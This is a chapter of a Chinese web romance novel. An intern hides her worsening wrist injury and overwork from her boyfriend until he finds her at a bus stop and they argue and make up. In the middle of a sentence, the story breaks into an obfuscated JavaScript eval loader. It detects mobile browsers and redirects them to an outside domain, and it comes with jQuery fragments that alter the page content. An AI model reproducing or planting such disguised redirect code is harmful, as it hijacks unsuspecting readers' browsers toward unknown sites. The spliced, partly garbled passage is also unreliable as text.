29. Allergy 29

作品:《她对恋爱过敏

    柯弋说得没错,吹风会头疼。


    边月白第二天是带着偏头痛一起去上的班。坐在工位前打开电脑开始打字,她盯着那个快真要肿成猪肘的手有些发愁。


    昨晚回去太晚,等她洗漱完室友们都躺床上准备睡觉了,她也不好意思再麻烦她们,就自己一人坐在下面打开那瓶红花油倒手上揉了揉。


    昨晚进公安局的事情最后还是传到了卢成天耳中,因为这件事还被他叫去办公室教育了一顿,让她离当事人的生活远一点。


    他的话有道理,边月白只能应下。不过这件事就此告一段落,以边月白手受伤为由离开这个案子。


    -


    这几天律所接了几个大案子,突然就忙了起来。边月白是实习生,加班也没有补贴。但自上周开始陆续离职了三个实习生,打杂的人骤减。


    她被迫周末留下来跟大家一起加班。


    而边月白作为苟在底层那一批人马,十分荣幸的得到一个帮大家打杂的机会。


    只要她空下来就会有源源不断的活找上她,忙得脚不沾地。有那么一瞬恍惚了下,看着自己带教律师,再看看手里捧着帮人打印的开会资料,不知前路。


    也因此,边月白好几天没跟柯弋见面了,不是两人还在赌气。起初那几天只是因为边月白没好好擦药,手上的包越来越大,颜色都变了,看着骇人。


    更不要说柯弋他每天都要问一遍她手怎么样了,边月白每次都昧着良心说好多了。


    然而,每当说出一个谎言就要用另一个谎言去圆,所以当他问要不要来接她下班时,她都以要跟带教跑法院或者要加班推脱。


    每次发完信息看见他体贴的回复,类似于“没事你忙不用管我”“手腕要小心”“难受的话晚上回去试试看热敷”这类话,边月白心里都心虚得不行。


    其实拒绝的理由也很简单。


    她总感觉之前那架还没吵完,不想在这个节骨眼还要抽空跟他把架吵完,闹得自己整个人心情不好。


    不知道是不是因为总是拒绝他接自己下班,柯弋似乎也有点意识到了她的推脱,也不再天天问她。


    再之后那是真忙,忙得边月白都有些顾不上自己还有个男朋友。


    冯水桃的案子胜诉那日是周五,消息传来之时阿丽正巧在组织所里人一起点奶茶,刚好附近奶茶店每周五都有每一送一活动。


    阿丽敲响桌面时,边月白从电脑后冒出头,听着她举起手机展示菜单,脑子里却在胡思乱想。


    啊,原来都周五了啊。


    距离上次跟他吵完架已经快一周没见面了。


    “怎么样,喝不喝?”阿丽将手机递过来。


    边月白在外卖界面上给自己选了杯清爽的果茶,摁下加购后递了回去。


    阿丽拿着手机最后一合计,虚虚靠在边月白工位边上,开始各种领券凑满减,在大群里问了下又加了一杯正好凑到她满意的折扣力度。


    正当她心满意足跟边月白念叨着自己凑单有多厉害时,门口电梯打开,送水师傅哐哐两桶水敲在地上喊她:“诶小妹,我水送到了昂。”


    说完,人就要乘电梯下去。


    阿丽忙手机结账,着急忙慌去拦人,想让他帮忙把水换了。结果晚一步,对方闪身进了电梯。


    于是,阿丽脸色灰败的回来,叹了口气,跟边月白吐苦水:“我们律所本身女律师多,这下咱们男士都不在所里,又要我换水了。”


    边月白迟疑地扫了眼自己手腕,肿倒是消了不少,也不疼了,应该没什么。自行判断之后,她跟阿丽说:“我帮你吧,两个人总比一个人好一点。”


    阿丽刚还跟霜打了的茄子似的,听完她的话一下子来了精神,“走吧!”


    事实再一次教会边月白做人,她过于看得起自己这伤病体了。


    在帮阿丽扶着水桶的时候,两人没统一用力,这就导致第一次尝试的时候水桶直接从手里滑走。边月白下意识去挡了下,手腕受力狠狠向后折了下。


    “嘶——”边月白疼得叫出声。


    阿丽人被滚走的水桶带着走了好几步才稳住身形,叉着腰气息不匀地关心她:“手没事吧?”


    边月白试着转了下,除了有点隐隐作痛也还好,能动。所以她摇摇头回:“没事。”


    阿丽掰着她手说:“你这都肿了,我自己来吧。”


    边月白笑,走过去换了只手抓着水桶,“没事本来就有点肿,来抓紧的。”


    阿丽欲言又止好一会儿,最终还是挪过去跟她一起又试了一次,两人成功将水桶换了。


    为了纪念这次壮举,阿丽悄咪咪拉着边月白在茶水间开了包茶叶,端着水杯一起泡了杯热茶。


    边月白捧着水杯吹气,“这茶叶真能喝吗?”


    阿丽瞧了瞧四周无人,一脸神秘跟她八卦:“没事的,这茶是卢律某个追求者送的。”又补充,“当事人,你没见过。那时候你还不在这。”


    边月白从杯子后面露出一双机灵的眼眨了眨,“懂,怪不得你掏了半天才从里面掏出来。”


    “还有这个也是呢。”阿丽放下杯子,拍了拍压在她手下的饼干盒,“刚刚看了眼快过期,等会找个盘子给大家分了,也不枉那位小姐姐对卢律深沉的爱。”


    真是说曹操曹操就到,卢成天端着水杯站在门口冷不防插话。


    “什么深沉的爱?”


    随后闲闲地走进茶水间,站定在饮水机前泡水。


    “没有没有,卢律等会一起吃下午茶呀。”阿丽抱起饼干盒,空了只手用来拉边月白,笑眯眯地离开。


    卢成天没应她话,喝了口水,淡声叫住边月白,“等会来我办公室一趟,下午做下归档,很简单的。”


    “哦,好的!”


    此时,边月白还不明白阿丽眼底淡淡的同情是为什么。等卢成天把厚厚一沓卷宗放在她工位时,边月白也只是觉得这活儿有点麻烦。


    等她上手做了之后,那怨气简直可以一拳把地球打飞。


    一千多页,打码器打了一下午手掌都淤青了,手腕更加肿了!


    -


    工作做完,边月白右手快要废掉,颤颤巍巍地在手机敲下字跟外出的卢成天汇报进度。


    对方还算有人性,隔了几分钟给边月白发了句。


    卢成天:【幸苦了,没什么事可以下班了。】


    还没等边月白感动,紧接着又是一条。


    卢成天:【安排下明早十点的会议】


    边月白顿时有种变成一头驴拉了一天磨还被抽了一鞭子的无力感。不过,吐槽归吐槽,给的工作还是要完成的。


    即使明天是周六,即使加班没有加班费。


    边月白:【收到】


    发完后一看时间才下午四点半,边月白感觉是被压榨久了,竟然还能生出一种特感激涕淋的感觉。


    当即收拾东西准备回去,近些日子第一次那么悠哉游哉下班,还有时间临走前拎着包陪阿丽聊会儿天。


    阿丽跟她介绍新买的口红色号,用指头抹匀后嘟起嘴来给她看,“这个说是叫白桃杏仁色,最近很火的。怎么样?是不是很好看?”


    “好看,你人白特温柔。”边月白手搭在前台桌面,朝着她笑。


    阿丽笑得合不拢嘴,拉着她坐下,拨开她脸前碎发,“你也白,来试试呗。看你最近都不怎么化妆了,不是说交新男朋友了吗?”


    “擦了隔离,也算化了。”


    “啧啧年轻就是好啊,皮肤这水灵的。”阿丽啧啧感叹,旋开口红一点点给她描唇,“那他今天也来接你吗?”


    “没,太麻烦了。”


    一想起刚刚又用加班的理由拒绝了柯弋,实则却早早下班,万一回去路上被撞见,那场面简直不敢想象。


    边月白这会儿有点心虚。


    “麻烦什么麻烦?女孩子就是要被呵护的,连接送下班都不愿意,要他们何用?”


    阿丽向后撤了下,端详着她这张脸,惋惜道:“可惜了,你男朋友没福气接这么漂亮的女朋友下班。”从抽屉里拿出面小镜子递给她。


    “差不多得了。”边月白被她逗得大笑,接过一看,敛了神色有点严肃地说,“你还真别说,你说得对,他没福气。”


    正要拿回镜子,阿丽视线落在她手腕,顿了下,惊呼:“天,你手腕怎么肿成这样了?”


    “嗐,没事看着吓人其实不疼。”边月白语气轻松,起身帮她摆好凳子。


    “那你回去好好休息两天,手别提重物。”


    一提到休息,边月白不由丧着一张脸,连唇上刚抹上的颜色都黯然失色。


    “休息不了啊,明天见了。”


    -


    难得五点前下班,公交车站无人。


    边月白坐在长椅上低头看今日热搜,兴致勃勃活跃在网络上吃瓜。非常热闹的一天,又是哪两家粉丝对撕,又是某影视剧因艺人爆雷下架。


    边月白无聊,点开某条热搜。看着两个同类型艺人粉丝你一盆脏水我一盆的,那可真是酣畅淋漓的一场互喷对骂。


    正吃瓜吃得起劲,站台前什么时候停了车都不知道。


    “边月白。”


    一道熟悉男声将她拉回现实,边月白呆愣几秒,猛然抬头。


    半开的车窗后,柯弋正似笑非笑地看着她,那样子阴沉得可怕。


    刹那间,边月白心脏狠狠一坠。


    -


    上车后,柯弋一句话都没说,沉着脸一路开出好长一段距离,最后在一处人少的路边缓缓停下。


    边月白靠在副驾车门离他远远的,认识这么久见他生气才知道,这人脸一沉就吓人得要命,哪还有当初刚在自习室认识那会儿如沐春风的温柔。


    看他哪哪都不顺眼,长得好看又怎样?


    现在看上去就是一张冷冰冰、臭烘烘的脸!


    “加班?”他语气淡淡。


    边月白沉默片刻,脸不红心不跳地扯了个谎:“临时又不加了。”


    柯弋轻嗤一声,指尖慢悠悠点着方向盘,视线依旧落在前方:“你当我傻子吗?”


    “......”边月白面色一僵。


    “因为上次的事在躲我?”


    “不是。”


    “那是为什么?”


    边


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570718|169659||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    月白又不啃声了。


    柯弋转头盯着她缩在底下的手,视线凌厉,“手拿出来。”


    边月白手迅速撤到背后,生硬转移话题,“先开车。”


    柯弋没管,直截了当地将她右手抽出来,看着手腕上的肿胀一点也没消,手心还黑青着,这下火气瞬间被点燃。


    他闭了闭眼,紧紧地攥着那纤细手腕。


    胸口那种气闷的感觉又来了,嗓子眼给堵得严严实实的,没处透气。


    “放开!”她扭动着手,“你捏得我很疼!”


    不想朝她发火,可最后还是被她扎了一针,倾泻而出。


    “你还知道疼?怎么把自己搞成这样?”


    “是因为生我气所以连我买的药也不肯擦吗?”


    “你这脾气怎么这么大?”


    明明不是这样的。


    被人误解,边月白心里也不好受,浑身竖起刺来反唇相讥,“对!我就是脾气差,很失望吧。就因为知道你会这样我才骗你说要加班。”


    气势很足,但手心里她的手在不由自主的颤动。


    意识到这点后,柯弋态度软下来,指腹轻轻揉搓着她腕部,有些在示弱的意味。


    看着她仍旧犟着,柯弋叹了口气,“我知道你有脾气,你这样我也会难受。”


    边月白很清楚自己这脾气,吵架的时候脑子一热就容易出口伤人。此刻,她紧紧抿着双唇,抽回那只手后双手抱胸靠着车门,目光发直地盯着车窗外。


    “又不是就你难受,谁想吵架啊。”边月白小声嘟囔,一点也不肯服输,“你要是受不了我脾气就分手,反正在一起也没多少时间。”


    这话一出,柯弋彻底恼了,“边月白,你遇事就逃这哪门子习惯?分手挂嘴边?”


    突然被人喊了大名,边月白一个转身,直直看向柯弋。


    外头太阳未落,橙黄的光斜斜打在他侧脸,让本就立体的五官更加严肃,眉弓隆起打下一片阴影,深邃的眼窝中是他压迫感十足的目光。


    “还记得我那天说的话吗?”他就这么一眨不眨盯着她,语气冷硬,“你是不是不会服软,哪怕是跟我提一嘴呢?跟我抱怨两声呢?当我是死的吗?”


    劈头盖脸被埋怨一通,边月白满脸倔强,忍不住拔高声音,“为什么要跟跟你说?你总有一天会嫌烦的!”


    “你又不是我你怎么知道?”他冷笑了下,慢慢把话说完,“没有发生的事情你为什么要先去给框定起来着急给我定罪呢?”


    这后半句有些熟悉,边月白神思飘了下,忽地响起符瑾也这么说过自己。


    同样的话,这次由柯弋本人说了出来。


    顷刻,太阳穴跟被针扎了似的,一阵一阵的疼。边月白紧皱起眉头,知道自己也有问题,不想在这件事上纠结下去,随即转移话题。


    “擦药了,就第一天没擦,之后每天都在擦。”


    柯弋按捺着火,再度捏起她手,斜眼看着手心的淤青,“那这是怎么回事?”


    边月白忍了忍,憋得脸涨红,最后吐露:“工作!打了一下午编码器打的!”


    话毕,她狠狠抽回自己手,转了转,眼尾微红特委屈的样子,还不忘瞪他一眼。


    柯弋怔住,举在空中的手缓缓落下。


    两人同时陷入沉默。


    柯弋没想到过这个缘由,冷静下来想起刚刚她的气话,思忖再三又有那么一丝无语。就那么点事儿,值得他俩吵了那么久。


    那点郁结在心口的气一下就烟消云散了,又沉默了好一会儿,柯弋不禁皱着眉去看她。


    “所以,你这段时间躲我就因为这个?”


    “......”


    “你也真够行的。”


    边月白没好气指责他:“那你那天真的很凶,谁知道你这什么狗脾气!”


    柯弋忽地笑了,顺坡而下,“对,我脾气差,跟你道歉。”


    话虽如此,边月白听着还不是滋味儿,总感觉他在阴阳自己脾气不好。


    快到下班点,路上车子逐渐多了起来。柯弋不再多言,发动车子回去。


    太阳沉没,暮色降至。


    昏黄暖光打在他脸上却不显得柔和,五官硬朗的让边月白感觉他还凶凶的,可语气却一如往常。


    “晚上还有工作吗?”


    边月白一想起那几十页的文档还有大堆专业名词要查,头更加疼了,说话都无精打采的,“还有个文件要翻译。”


    “饭吃了没有?”


    “还没。”


    此时,十几米外的信号灯由红转绿,柯弋片刻不带犹豫打起转向灯。


    “那去我家吧。”


    说着,他方向盘一打转入另一个街道,边月白身子微微右斜之后回正。


    才意识到他刚刚说了什么,边月白缓慢坐起身来,错愕地看向他,“什么?”


    柯弋微微勾起一抹浅笑,让她放宽心,“别担心不是跟我爸妈,学校附近,就我一个人住。”


    边月白手抓着安全带,缓缓露出一丝茫然,接二连三的疑问冒出。


    是这问题吗?


    更担心了好吗?